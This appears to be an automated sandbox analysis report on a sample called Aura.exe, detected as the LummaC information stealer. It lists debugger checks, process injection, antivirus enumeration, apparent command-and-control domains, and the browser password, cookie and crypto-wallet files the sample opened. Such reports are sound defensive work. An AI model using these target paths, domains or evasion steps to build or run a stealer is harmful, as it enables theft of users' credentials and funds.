Source: C:\Users\user\Desktop\Aura.exe

Code function: 0_2_000BD8E0 GetProcessHeap,

0_2_000BD8E0

Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000AF52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000AF52D
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000AF8DD SetUnhandledExceptionFilter,	0_2_000AF8DD
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000AF8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000AF8E9
Source: C:\Users\user\Desktop\Aura.exe	Code function: 0_2_000B7E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000B7E30
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000AF52D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_000AF52D
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000AF8DD SetUnhandledExceptionFilter,	2_2_000AF8DD
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000AF8E9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_000AF8E9
Source: C:\Users\user\Desktop\Aura.exe	Code function: 2_2_000B7E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_000B7E30

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Aura.exe

Code function: 0_2_000DA19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_000DA19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Aura.exe

Memory written: C:\Users\user\Desktop\Aura.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: Aura.exe, 00000000.00000002.1675524552.000000000456B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\Aura.exe

Process created: C:\Users\user\Desktop\Aura.exe "C:\Users\user\Desktop\Aura.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe	Code function: EnumSystemLocalesW,	0_2_000BD1BD
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_000C1287
Source: C:\Users\user\Desktop\Aura.exe	Code function: EnumSystemLocalesW,	0_2_000C14D8
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_000C1580
Source: C:\Users\user\Desktop\Aura.exe	Code function: EnumSystemLocalesW,	0_2_000C17D3
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,	0_2_000C1840
Source: C:\Users\user\Desktop\Aura.exe	Code function: EnumSystemLocalesW,	0_2_000C1915
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,	0_2_000C1960
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_000C1A07
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,	0_2_000C1B0D
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,	0_2_000BCC15
Source: C:\Users\user\Desktop\Aura.exe	Code function: EnumSystemLocalesW,	2_2_000BD1BD
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_000C1287
Source: C:\Users\user\Desktop\Aura.exe	Code function: EnumSystemLocalesW,	2_2_000C14D8
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_000C1580
Source: C:\Users\user\Desktop\Aura.exe	Code function: EnumSystemLocalesW,	2_2_000C17D3
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,	2_2_000C1840
Source: C:\Users\user\Desktop\Aura.exe	Code function: EnumSystemLocalesW,	2_2_000C1915
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,	2_2_000C1960
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_000C1A07
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,	2_2_000C1B0D
Source: C:\Users\user\Desktop\Aura.exe	Code function: GetLocaleInfoW,	2_2_000BCC15

Source: C:\Users\user\Desktop\Aura.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Aura.exe

Code function: 0_2_000B00B4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_000B00B4

Source: C:\Users\user\Desktop\Aura.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Aura.exe, 00000002.00000003.2531148527.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1863828386.0000000003424000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1863893414.000000000342A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531405737.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511376240.00000000033C2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Aura.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Aura.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Aura.exe, 00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0
Source: Aura.exe, 00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Elect\|b
Source: Aura.exe, 00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Elect\|b
Source: Aura.exe, 00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Le0
Source: Aura.exe, 00000002.00000003.1842299699.0000000003417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: Aura.exe, 00000002.00000003.1863800274.000000000341B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Le0
Source: Aura.exe, 00000002.00000003.1842261348.0000000003424000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Aura.exe, 00000002.00000003.1842299699.0000000003417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Aura.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
